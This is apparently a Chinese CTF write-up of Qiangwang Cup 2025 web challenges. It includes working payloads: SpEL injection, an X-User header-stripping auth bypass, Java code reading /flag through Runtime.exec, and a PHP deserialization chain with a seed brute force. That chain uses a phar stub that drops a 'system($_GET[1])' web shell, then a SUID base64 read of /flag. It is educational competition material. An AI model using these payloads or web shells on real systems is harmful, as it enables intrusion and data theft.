强网杯2025
由于没有复现环境,只能看看各位大佬的wp
https://blog.csdn.net/2301_79035389/article/details/154194780
https://www.cnblogs.com/LAMENTXU/articles/19156437
WEB
bbjv
先进行代码分析,查看app.jar的结构,在BOOT-INF下找到com.ctf.gateway
分析如下:
这是一个基于Spring Boot的网关应用,核心功能是通过SpEL表达式执行规则检查,并在特定条件下读取并返回flag文件内容。主要组件如下:
GatewayController暴露/check端点,接收rule参数调用EvaluationService执行SpEL表达式检查用户主目录下的flag.txt文件若文件存在,读取内容并附加到响应中
EvaluationService使用SpEL解析器执行表达式采用TemplateParserContext支持#{}模板语法
SpelConfig配置受限的SpEL执行环境使用SimpleEvaluationContext限制功能添加自定义的SecurePropertyAccessor
SecurePropertyAccessor重写canRead()始终返回false禁止所有属性访问操作
flag在/tmp目录下,所以我们可以利用spel表达式注入漏洞把user.home改一改
1 2 3 4
| #{#systemProperties['user.home']='/tmp'}
System.getProperties().put("user.home", "/tmp");
|
SpEL 解析使用了 SimpleEvaluationContext 而非 StandardEvaluationContext
用 SimpleEvaluationContext阻断了反射属性读取(SecurePropertyAccessor)所以无法利用Runtime类来直接进行rce,但Map访问器仍可用;#systemProperties 指向 java.lang.System.getProperties(),Properties 类继承自 Hashtable<Object,Object>,因此可以用下标写入
payload:
1 2
| ->/check?rule=#{#systemProperties['user.home']='/tmp'} /check?rule=%23%7B%23systemProperties%5B'user.home'%5D%3D'%2Ftmp'%7D
|
secret_value
在app.py中找到dashboard路由
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @app.route('/dashboard') @login_required def dashboard(): user = g.current_user entries = [ { 'id': entry.id, 'label': entry.label, 'login': entry.login, 'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'), 'notes': entry.notes, 'created_at': entry.created_at, } for entry in user.vault_entries ] return render_template('dashboard.html', username=user.username, entries=entries)
|
可以看到在访问dashboard前需要经过装饰器函数login_required的检查
login_required函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def login_required(view_func): @wraps(view_func) def wrapped(*args, **kwargs): uid = request.headers.get('X-User', '0') print(uid) if uid == 'anonymous': flash('Please sign in first.', 'warning') return redirect(url_for('login')) try: uid_int = int(uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.', 'warning') return redirect(url_for('login')) user = User.query.filter_by(id=uid_int).first() if not user: flash('User not found. Please sign in again.', 'warning') return redirect(url_for('login'))
g.current_user = user return view_func(*args, **kwargs)
return wrapped
|
1、读取代理传来的用户ID
1 2
| uid = request.headers.get('X-User', '0') print(uid)
|
- Flask 每次请求时,都会从 HTTP 请求头中取出
X-User。
- 这个
X-User 是由前端的 Go Authorizer 代理 自动添加的。
比如:
- 未登录时:
X-User: anonymous
- 已登录时:
X-User: 1(用户ID)
我们发现普通用户注册登录之后没有任何信息,所以要伪造管理员登录。
代码分析
Go中间件逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| func main() { authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s", uid, req.URL.String()) req.Header.Del("Authorization") req.Header.Del("X-User") req.Header.Del("X-Forwarded-For") req.Header.Del("Cookie")
if uid == "" { req.Header.Set("X-User", "anonymous") } else { req.Header.Set("X-User", uid) } }}
|
flask认证逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| def login_required(view_func): @wraps(view_func) def wrapped(*args, **kwargs): uid = request.headers.get('X-User', '0') print(uid) if uid == 'anonymous': flash('Please sign in first.', 'warning') return redirect(url_for('login')) try: uid_int = int(uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.', 'warning') return redirect(url_for('login')) user = User.query.filter_by(id=uid_int).first() if not user: flash('User not found. Please sign in again.', 'warning') return redirect(url_for('login'))
g.current_user = user return view_func(*args, **kwargs)
return wrapped
|
系统架构
1 2 3 4 5
| 客户端 → Go鉴权中间件(5555) → Flask主应用(5000) ↓ Go后端(4444) - JWT验证 Authorizer在转发请求前会删除所有现有的 X-User 头,然后根据JWT令牌内容重新设置 X-User 头
|
漏洞代码:
1 2 3
| uid = request.headers.get('X-User', '0')
这里如果X-User不存在,默认返回0
|
我们可以设置 X-User 头不存在或为空,默认返回 ‘0’来达到越权的作用
所以我们现在就是要想个办法让中间件的返回头里没有 X-User
这里用到了HTTP协议规范漏洞
HTTP协议规范漏洞
根据 RFC 2616 Section 14.10,Connection 头有两个作用:
- 控制连接持久性
- 指定在连接关闭时要删除的头部字段
攻击payload
1
| Connection: close,X-User
|
这个头告诉服务器:
close - 处理完请求后关闭连接
X-User - 连接关闭时删除 X-User 头部
步骤解析
1、发送恶意请求
1 2 3 4 5
| GET /admin-page HTTP/1.1 Host: localhost:5555 Connection: close,X-User Authorization: Bearer invalid_token Other-Headers: ...
|
2、go中间件处理
1 2 3 4
| // 1. 验证JWT失败,uid = "" // 2. 删除原有头部,包括恶意的Connection头 // 3. 设置 X-User: "anonymous" // 4. 转发请求到Flask
|
3、HTTP协议层处理
1 2 3
| Go的HTTP库遵循RFC规范 看到 Connection: close,X-User(虽然在内存中已被删除,但协议层已记录) 在连接关闭时,自动删除 X-User 头部
|
4、最后flask应用接收
1 2 3 4 5 6
| uid = request.headers.get('X-User', '0')
user = User.query.filter_by(id=0).first() g.current_user = user
|
最后的包
1 2 3 4 5 6 7 8 9 10 11
| GET /dashboard HTTP/1.1 Host: 39.106.47.249:33002 Cache-Control: max-age=0 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://39.106.47.249:33002/login Accept-Encoding: gzip, deflate, br Cookie: session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlJlZ2lzdHJhdGlvbiBzdWNjZXNzZnVsLiBQbGVhc2Ugc2lnbiBpbi4iXX1dfQ.aPL-ZA.tZC2005ISCmkE8hJbh-zz9iu_qE; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJBdXRob3JpemVyIiwic3ViIjoiMSIsImV4cCI6MTc2MDc1ODkwNCwibmJmIjoxNzYwNzU1MzA0LCJpYXQiOjE3NjA3NTUzMDQsInVpZCI6IjEifQ.gg-1I8lk7m-mvmWo0X7pSXY9auJQ31sn1G-gcUzRGro Connection: close,X-User
|
然后就能看到flag
yamcs
好像是一个框架,进去之后直接就是超级管理员,发现有个algorithms功能,进去发现可以运行代码。
但是无法直接运行代码。有报错
报错显示已排出的异常没有被”try…catch”捕获。所以我们使用try…catch语法尝试一下
环境探测payload:用于测试当前执行环境的权限级别
1 2 3 4 5 6 7 8 9 10
| try { String prop = System.getProperty("user.dir"); out0.setStringValue("PROP_ALLOWED:" + (prop == null ? "NULL" : prop)); } catch (Throwable t) { out0.setStringValue("PROP_BLOCKED"); }
|
System.getProperty("user.dir") - 获取当前工作目录路径
成功回显
在 Yamcs 的算法功能中,out0 是预定义的输出参数,用于将算法的结果传递回系统。
然后读取flag的payload:
1 2 3 4 5 6
| try { String flag = new String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("/flag"))); out0.setStringValue(flag.trim()); } catch (Exception e) { out0.setStringValue("ERROR: " + e.getMessage()); }
|
其他payload:
1 2 3 4 5 6 7 8 9
| try { java.util.Scanner s = new java.util.Scanner( Runtime.getRuntime().exec("cat /flag").getInputStream() ).useDelimiter("\\A"); out0.setStringValue(s.hasNext() ? s.next().trim() : "EMPTY"); } catch (Exception e) { out0.setStringValue("ERROR"); }
|
ez_php
前置知识
匿名类
匿名类是PHP 7引入的特性,它允许你在不预先定义类的情况下直接创建类的实例。
基本语法:
1 2 3 4 5 6 7 8
| $object = new class(参数) { // 类的属性和方法 public $property = 'value'; public function method() { return 'Hello World'; } };
|
这里的参数是构造函数的参数
简单示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
$logger = new class('app.log') { private $filename; public function __construct($filename) { $this->filename = $filename; } public function log($message) { file_put_contents($this->filename, $message . "\n", FILE_APPEND); } };
$logger->log('This is a log message');
|
匿名类的特点:没有类名
1 2 3 4 5 6 7 8
| $obj = new class { public function sayHello() { echo "Hello from anonymous class!"; } };
echo get_class($obj); // 输出:class@anonymous/path/to/file.php0x7f8a3c012345
|
匿名类的实际名称
虽然匿名类没有程序员定义的名称,但PHP内部会生成一个唯一标识符:
1
| class@anonymous[文件路径]:[行号]$[序号]
|
或者在某些情况下:
text
1
| class@anonymous[文件路径](行号) : eval()'d code:[行号]$[内存地址]
|
PHP中的函数声明
“声明”指的是在代码中创建一个新的函数、类、变量等,让程序知道它的存在。
普通的函数声明
1 2 3 4
| function readflag() { echo "Hello World"; }
|
声明后,你可以在任何地方调用:
在方法内部声明全局函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| class SomeClass { public function someMethod() { function readflag() { echo "This is a global function!"; } } }
$obj = new SomeClass(); $obj->someMethod();
readflag();
|
PHP函数调用方法
在 PHP 里,很多东西都可以被当作函数来调用:
一个普通字符串 "readflag" —— 当作全局函数名去调用。
一个数组 ["ClassName", "method"] —— 当作 类方法 去调用(等同 ClassName::method())。
还有对象实例加方法名 [ $obj, "method" ] 等等。
利用数组调用类方法还可以用与调用匿名类的方法。
1 2 3
| 所以如果把 $f 设成 ["匿名类完整名", "readflag"]
然后$f()
|
题解
源码:
1
| <?=eval(base64_decode('ZnVuY3Rpb24gZ2VuZXJhdGVSYW5kb21TdHJpbmcoJGxlbmd0aCA9IDgpeyRjaGFyYWN0ZXJzID0gJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6JzskcmFuZG9tU3RyaW5nID0gJyc7Zm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgeyRyID0gcmFuZCgwLCBzdHJsZW4oJGNoYXJhY3RlcnMpIC0gMSk7JHJhbmRvbVN0cmluZyAuPSAkY2hhcmFjdGVyc1skcl07fXJldHVybiAkcmFuZG9tU3RyaW5nO31kYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdBc2lhL1NoYW5naGFpJyk7Y2xhc3MgdGVzdHtwdWJsaWMgJHJlYWRmbGFnO3B1YmxpYyAkZjtwdWJsaWMgJGtleTtwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKXskdGhpcy0+cmVhZGZsYWcgPSBuZXcgY2xhc3Mge3B1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpe2lmIChpc3NldCgkX0ZJTEVTWydmaWxlJ10pICYmICRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA9PSAwKSB7JHRpbWUgPSBkYXRlKCdIaScpOyRmaWxlbmFtZSA9ICRHTE9CQUxTWydmaWxlbmFtZSddOyRzZWVkID0gJHRpbWUgLiBpbnR2YWwoJGZpbGVuYW1lKTttdF9zcmFuZCgkc2VlZCk7JHVwbG9hZERpciA9ICd1cGxvYWRzLyc7JGZpbGVzID0gZ2xvYigkdXBsb2FkRGlyIC4gJyonKTtmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHtpZiAoaXNfZmlsZSgkZmlsZSkpIHVubGluaygkZmlsZSk7fSRyYW5kb21TdHIgPSBnZW5lcmF0ZVJhbmRvbVN0cmluZyg4KTskbmV3RmlsZW5hbWUgPSAkdGltZSAuICcuJyAuICRyYW5kb21TdHIgLiAnLicgLiAnanBnJzskR0xPQkFMU1snZmlsZSddID0gJG5ld0ZpbGVuYW1lOyR1cGxvYWRlZEZpbGUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHVwbG9hZFBhdGggPSAkdXBsb2FkRGlyIC4gJG5ld0ZpbGVuYW1lOyBpZiAoc3lzdGVtKCJjcCAiLiR1cGxvYWRlZEZpbGUuIiAiLiAkdXBsb2FkUGF0aCkpIHtlY2hvICJzdWNjZXNzIHVwbG9hZCEiO30gZWxzZSB7ZWNobyAiZXJyb3IiO319fXB1YmxpYyBmdW5jdGlvbiBfX3dha2V1cCgpe3BocGluZm8oKTt9cHVibGljIGZ1bmN0aW9uIHJlYWRmbGFnKCl7ZnVuY3Rpb24gcmVhZGZsYWcoKXtpZiAoaXNzZXQoJEdMT0JBTFNbJ2ZpbGUnXSkpIHskZmlsZSA9ICRHTE9CQUxTWydmaWxlJ107JGZpbGUgPSBiYXNlbmFtZSgkZmlsZSk7aWYgKHByZWdfbWF0Y2goJy86XC9cLy8nLCAkZmlsZSkpZGllKCJlcnJvciIpOyRmaWxlX2NvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygidXBsb2Fkcy8iIC4gJGZpbGUpO2lmIChwcmVnX21hdGNoKCcvPFw/fFw6XC9cL3xwaHxcP1w9L2knLCAkZmlsZV9jb250ZW50KSkge2RpZSgiSWxsZWdhbCBjb250ZW50IGRldGVjdGVkIGluIHRoZSBmaWxlLiIpO31pbmNsdWRlKCJ1cGxvYWRzLyIgLiAkZmlsZSk7fX19fTt9cHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXskZnVuYyA9ICR0aGlzLT5mOyRHTE9CQUxTWydmaWxlbmFtZSddID0gJHRoaXMtPnJlYWRmbGFnO2lmICgkdGhpcy0+a2V5ID09ICdjbGFzcycpbmV3ICRmdW5jKCk7ZWxzZSBpZiAoJHRoaXMtPmtleSA9PSAnZnVuYycpIHskZnVuYygpO30gZWxzZSB7aGlnaGxpZ2h0X2ZpbGUoJ2luZGV4LnBocCcpO319fSRzZXIgPSBpc3NldCgkX0dFVFsnbGFuZCddKSA/ICRfR0VUWydsYW5kJ10gOiAnTzo0OiJ0ZXN0IjpOJztAdW5zZXJpYWxpemUoJHNlcik7'));
|
base64解码之后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed); $uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) { unlink($file); } } $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename; if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) { die("error"); } $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag; if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
|
可以看到在test类的构造方法内定义了一个匿名类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed); $uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) { unlink($file); } } $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg'; $GLOBALS['file'] = $newFilename; $uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename; if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) { die("error"); } $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; }
|
并且匿名类中存在readflag方法声明了一个全局函数readflag,可以用来include包含任意文件。
源码存在反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12
| public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag; if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
|
1、首先我们可以令$this->key为'class',从而执行new $func(),并且令$func为test,然后就能触发test类的构造方法。从而创建出匿名类。
2、然后我们需要调用到匿名类的readflag。令key为’func’,然后令$func为数组
1 2 3 4
| $b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag');
然后就会调用$func(); 等同于调用匿名类的readflag()方法
|
这样就能使全局函数readflag被声明,然后我们就能直接调用readflag去include文件。
可以很容易构造出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class test { public $readflag; public $f; public $key;
public function __construct() { } }
$a = new test(); $a -> readflag = 名字; $a -> f = 'test'; $a -> key = 'class'; $b = new test(); $b -> f = array("class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readflag'); $b -> key = 'func';
echo serialize($a); echo ' '; echo serialize($b);
|
这里需要使用数组来包装两个序列化字符串。
因为PHP反序列化数组时,会依次创建数组中的每个对象,每个对象的析构函数都会在脚本结束时执行。
对象A用于触发构造函数创建匿名类,然后触发文件上传功能
对象B用于调用匿名类的readflag方法,声明全局函数
1 2 3 4 5 6 7 8
| import requests target = 'http://localhost:8000/' a = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' b = 'O:4:"test":3:{s:8:"readflag";s:5:"名字";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}' res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))}) print(res.text)
|
解析:
这里组合了两个payload:
1
| pay = 'a:2:{i:0;'+a+'i:1;'+b+'}'
|
然后发送http请求
- GET参数:
?land=序列化payload
- POST文件:上传
1.gz文件(伪装成1.png)
现在就可以稳定include了,我们尝试上传shell,发现readflag可以包含文件,但是存在过滤
1 2 3 4
| $file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); }
|
这里可以利用很经典的gz压缩绕过过滤。
首先看看禁止了哪些函数,走destruct触发phpinfo()
1
| O:4:"test":2:{s:1:"f";s:7:"phpinfo";s:3:"key";s:4:"func";}
|
发现禁止了很多。但是因为源码里有system所以我们可以直接用system去RCE。
首先构造一个phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php $phar = new Phar('exploit.phar'); $phar->startBuffering();
$stub = <<<'STUB' <?php system('echo "<?php system(\$_GET[1]); ?>" > 1.php'); __HALT_COMPILER(); ?> STUB;
$phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();
?>
|
这个phar只要成功执行就会写入一个1.php的木马文件
然后改名为1,接着进行gzip压缩,这样就能绕过waf
得到1.gz
但是我们知道include函数要执行phar文件,必须在文件名里有”.phar”这几个字才能rce
但是源码会将我们上传的文件名进行修改,修改规则在这里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } $filename = $GLOBALS['filename']; $time = date('Hi'); $seed = $time . intval($filename); mt_srand($seed); $randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.' . 'jpg';
|
这里我们发现种子后面的filename是可控的,即类的readflag属性,我们可以爆破种子去搞seed。使generateRandomString生成的文件名以phar开头。
问AI
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 编写php脚本,寻找一个字符串:
以当前时间 date('Hi') 开头 后面加上一些整型后,将其作为mt_srand的种子,利用如下函数 function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; } 生成的前四个字符为phar
|
得到脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| <?php date_default_timezone_set('Asia/Shanghai'); function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
$currentTime = date('Hi'); echo "当前时间: " . $currentTime . "\n"; echo "正在寻找前四个字符为 'phar' 的字符串...\n\n";
$found = false; $attempts = 0; $maxAttempts = 10000000;
for ($i = 0; $i < $maxAttempts; $i++) { $attempts++; $seed = $currentTime . $i; mt_srand((int)$seed); srand((int)$seed); $randomString = generateRandomString(8); if (substr($randomString, 0, 4) === 'phar') { echo "找到符合条件的字符串!\n"; echo "种子: " . $seed . "\n"; echo "生成的字符串: " . $randomString . "\n"; echo "尝试次数: " . $attempts . "\n"; $found = true; break; } if ($attempts % 10000 === 0) { echo "已尝试 " . $attempts . " 次...\n"; } }
if (!$found) { echo "在 " . $maxAttempts . " 次尝试内未找到符合条件的字符串。\n"; echo "建议:\n"; echo "1. 增加最大尝试次数\n"; echo "2. 检查当前时间是否已变化\n"; echo "3. 考虑使用更大的数字范围\n"; } ?>
|
注意这里的$currentTime = date('Hi'); 返回的是类似 “1345” 这样的4位数字(小时和分钟),所以我们爆破之后需要在这一分钟内去上传文件。不然分钟变了就会导致种子改变,无法构造出phar开头的文件名
把这玩意放到readflag属性里,上传1.gz
1 2 3 4 5 6 7 8 9 10
| import requests # a:3:{i:0;O:4:"test":3:{s:8:"readflag";s:6:"104206";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}i:1;O:4:"test":3:{s:8:"readflag";N;s:1:"f";a:2:{i:0;s:62:"class@anonymous/var/www/html/index.php(1) : eval()'d code:1$0";i:1;s:8:"readflag";}s:3:"key";s:4:"func";}i:2;O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}} target = 'http: a = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:4:"test";s:3:"key";s:5:"class";}' b = 'O:4:"test":3:{s:8:"readflag";s:5:"18110";s:1:"f";s:55:"\0readflag/var/www/html/index.php(1) : eval()\'d code:1$1";s:3:"key";s:4:"func";}'
pay = 'a:2:{i:0;'+a+'i:1;'+b+'}' res = requests.post(target,params={'land':pay},files={'file': ('1.png', open('1.gz', 'rb'))}) print(res.text)
|
这里应该少了个c对象,b对象声明了匿名类里的readflag方法,还需要调用全局函数readflag才能正常include文件。
1 2 3
| c = 'O:4:"test":3:{s:8:"readflag";N;s:1:"f";s:8:"readflag";s:3:"key";s:4:"func";}' pay = 'a:3:{i:0;' + a + 'i:1;' + b + 'i:2;' + c + '}' # 三个对象
|
直接传,搞到1.php的shell。发现/flag要提权。
我们这里找一下SUID提权:
1
| find / -user root -perm -4000 -print 2>/dev/null
|
发现有base64。参考:https://gtfobins.github.io/gtfobins/base64/
1
| base64 "/flag" | base64 --decode
|
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。